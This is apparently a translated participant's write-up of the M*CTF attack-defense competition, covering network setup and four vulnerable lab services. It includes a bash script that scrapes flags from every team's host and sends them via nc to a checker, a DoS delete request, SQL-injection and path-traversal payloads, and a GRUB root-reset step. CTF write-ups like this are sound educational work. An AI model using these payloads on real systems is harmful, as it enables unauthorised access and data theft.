Scrapbook with M * CTF

Good day! In this small opus, I would like to tell with the participant’s eyes how the CTF type of attack defenses take place and, in particular, to highlight the past m * ctf competition . But before all this, I would like to thank my Innopolis University for the opportunity to attend this (and many other) events.

Under the cut, both organizational and technical details of past competitions. And of course, many, many photos!

CTF

CTF is a computer security team competition and is divided into two types.

The first (aka jeopardy or task-based) is a set of independent tasks of various nature. As a rule, the main categories are singled out: cryptography, steganography, reverse, fornica, admin. Whoever scores the most points in the allotted time is the good one (an example of a recent event is CT.From Bi.Zone )

The second type (he is attack-defense) is a much more interesting and rare event. Each team is given a vulnerable image (it is identical for all teams), which contains several services. Each of these services in any way works with strings, which are called flags. As the name suggests, participants need to drag them through service vulnerabilities. And in addition to this and protect their own. A similar competition was M * CTF.

M * CTF

M * CTF is a competition for students of Moscow universities, which are held already 3 times, this time on the basis of MTUCI. By luck, I managed to get into the guest team and enjoy the competition.

Lecture day

The first day was overshadowed by an early rise (but the second was not very different). On this day, teams were registered and, most importantly, lectures were given (by the way, open to all) from partners. And the organizers tried to dispel a serious situation with a small contest. The lecture program looked like this:

Thanks to ptsecurity , Infotecs , Group-IB, and speakers from other organizations.

Competition day

Network

Before the start of the competition, we were given grid configs for the team with the number N (mine was 21, then it will be used):

• Grid: 10.60.N.1 / 24
• Gateway: 10.60.N.1
• Services should be available by: 10.60.N.2
• Available for other IP commands: 10.60.N.0 / 25
• Unavailable to other IP commands: 10.60.N.128 / 25
• Host for checking flags: 10.10.40.2:8080

Then the most interesting thing began - they started handing out flash drives with images. Ironically, about 90% of flash drives contained broken archives, so a bit later an image was posted on a gugldok . CTF would not be CTF if there were no similar incidents on them.

Since I played practically one there was no one to delegate tasks, therefore all the actions below should be carried out in parallel by different team members. Then there is a very small chance that you will be in time :)

The first steps

The first thing to do is, of course, get into an image and see what lies there. But, alas, he got to me very late, so the first preparations were connected with the net. There is nothing magical and difficult in this, but the problem arises when you need "here, now and in order to work," and mana under the age-old layer of dust has long been forgotten.

ip aa 10.60.21.135/24 dev eth0 ip ra default via 10.60.21.1 dev eth0 

In general, this is all, the main thing is not to forget to turn off the dhcp client (or raise your own) so that it does not reset the settings. And, of course, it’s worth registering ns-servers to go online:

 echo -e "nameserver 8.8.8.8\nnameserver 8.8.4.4" >/etc/resolv.conf 

Things to start with

After some time, the cherished image of mctf.ova came to me and I happily opened it in a virtual machine . The experimental turned out to be 64-bit Debian, hungry for only 1 GB of RAM. A blue screen with a GRUB appears on the first flank of the defense:

Passwords from users in this case are not specified, but, good, we have the usual grub, which means we can easily change the record of the loader. After loading, we change the password as root and reboot, remembering to pre-add the launch of / bin / bash :

Next, it makes sense to install a Bridged network adapter and configure the network within the image.

In general, it is worth noting that you can complicate your life a little and honestly make a NAT adapter with the right forwarding and filtering, and also wind up some IDF on the intermediary gateway, but in fact it is rarely necessary.

Inside the image itself, the grid is configured for 4 commands, so it needs to be corrected:

 ip af dev eth0 ip aa 10.60.21.2/24 dev eth0 ip ra default via 10.60.21.1 dev eth0 

And a little more about the network

Before turning to the most interesting, it is worth mentioning the wonderful possibility of finding vulnerabilities - network traffic analysis using wireshark or any other tool you know. As you probably understand, you can monitor the traffic that comes to you and there will most likely be requests from the organizers and from rivals.

I had enough for 4 series of dumps (~ 3GB), but, alas, one of them was irretrievably lost due to an unplanned reboot (I hope there are no passwords accidentally merged :). Personally, I prefer to run the GUI and periodically look there, although you can get along with such a command, if you feel sorry for the memory:

 tshark -i eth0 -w traf1.pcap 

It’s probably worth automating the process of creating new files, but you had to think about it beforehand. In the process of the game itself is usually not up to it.

In addition to finding vulnerabilities in traffic, you can also analyze the packages of the organizers (at the beginning of the game, as a rule, the main traffic comes from them). Here, for example, you can define the User-Agent of the organizers and thus can filter the remaining packages from the players. Here you can also determine the format of the flag, as well as which ports and by which protocol it arrives.

We look at the images

And finally the most interesting! We only had 4 services and they are spinning in docker containers. You can view information about available images and rotating containers for example:

 docker ps && docker images 

Here we can notice 4 services: voicemail (port 2222, for some reason it is not shown in the list), drdre (port 3333), mis (port 8080), poke (port 8090).

To analyze the service we need to go to the docker container, and then find and download the necessary files from there.

 docker exec -it mctf-<service> /bin/bash 

A small note before the review of services: there was no analysis of the tasks after the competition and the further description of the services is what I managed to dig in those 8 hours and what I could find out in the process of communicating with other teams after the game. This means that in each of the services there are most likely still (and many!) Exploited vulnerabilities, so I would be extremely grateful for the additions.

Voicemail

The first service is for sending voice messages using SIP based on the freeswitch library and all low-level things happen there. The library has been installed fairly fresh and there are no ready exploits for it under open access, so studying it seemed like a waste of time.

Web requests are processed by a single voicemail.py file, which is a simple server on Flask . So all services are the same, so the app.config ['DEBUG'] = true parameter is set for all and the secret key is the same.

Another interesting thing is that the already mentioned library creates /var/www/voicemail/static/freeswitch.log , which is not processed separately in voicemail.py . Why is it important? Flags should fall into this log (according to other participants), although I could not find any of the traffic dumps and requests to the services of other teams.

Drdre

The second service is a monstrous (although there are not so many useful files there) Tomcat- server. It acts as an antivirus company site. You can download Dr.Dre anti-virus from it or check malware similarly to virustotal. Most likely, after sending this file, it was launched by an antivirus, with which it was possible to get some ill-fated RCE .

This was actually one of those services, the vulnerability to which I discovered in traffic. The requests went to http://10.60.21.2 ل333/stat?debug= true , without thinking twice, go in there and see (or not see, you don’t have flags :) lines suspiciously resembling a flag. A small script for passing flags could look like this:

 #!/bin/bash for i in $(seq 1 20); do wget -q "http://10.60.$i.2:3333/stat?debug=true" -O file --timeout=2 for i in $(egrep -o "[a-zA-Z0-9]{40}=" file); do echo $i | nc 10.10.40.2 8080 | grep -i "input flag" sleep 1 done done 

MIS (aka Private Messanger)

The third service is a php server with low-level communication with the database through bare sockets. It allows you to encrypt text using the image 100x100px. The key gets from the low bits of the R-channel, the total key goes up to 10,000 bits. The ciphertext is issued using an exclusive or between a flag, a previously known salt and a key. I tried to look at examples of keys, but, alas, it looked as if they were generated randomly. Although one unconfirmed and not disproved guess was still: it is likely that the keys could be used for all the commands the same. Then, with the knowledge of salt and key, one could get a flag.

The first attack was of the DoS type and was carried out quite simply. When requesting the removal of a message (flag), it was only the password that was checked, not its correctness. Total request type GET /delete.php?id=<id>&pass=0&ask=Y could remove the opponent's flags and thereby cause him to lose precious points.

The second attack went on injecting requests to mysql through bare sockets. The request in the service went as follows: P \ t999 \ tservice1 \ ttext \ tPRIMARY \ tid, pass, text \ n999 \ t = \ t1 \ t $ _GET [id] \ n , thus it was possible to pick up the string and get full access to bd

Poke

The last service is also implemented in php. It prompts the user to select a pokemon and wander around the map in search of battles. After a certain number of victories, a flag is sent. This service apparently was the most leaky of all. In fact, battles can be carried out without meeting an opponent; you only need to know his nickname. One of the vulnerabilities is trivial sqli wherever possible.

For example, the query: /battle.php?to=qzqzqqz'%20union%20select%20username%20from
% 20users% 20limit% 2012345.1% 20 -% 201 will give the user name 12345. Next, by the query "/class/database/users/<nick>/flag.jpg" we get the necessary flag. It could have been even simpler: the query "/class/database/users.db" produced a whole sqlite database, from which, besides the list of users, you can also get password hashes and many other interesting things. But if suddenly you just want to play, but not with anyone, then you can just go to /battle.php?to=../users/

And a few words about the ending

An hour before the end of the competition (deliberately) access to the table with points was closed, and thus, the intrigue remained who would win. It was extremely unexpected to see in the first place a team from the HSE, which previously occupied the 2nd place. And the final hacker-scorbord, in the console (and not because the server fell):

I would like to express my deep gratitude to the ctfnews community for the support of the competitions themselves and for the photos. The rest, by the way, can be found in the album VC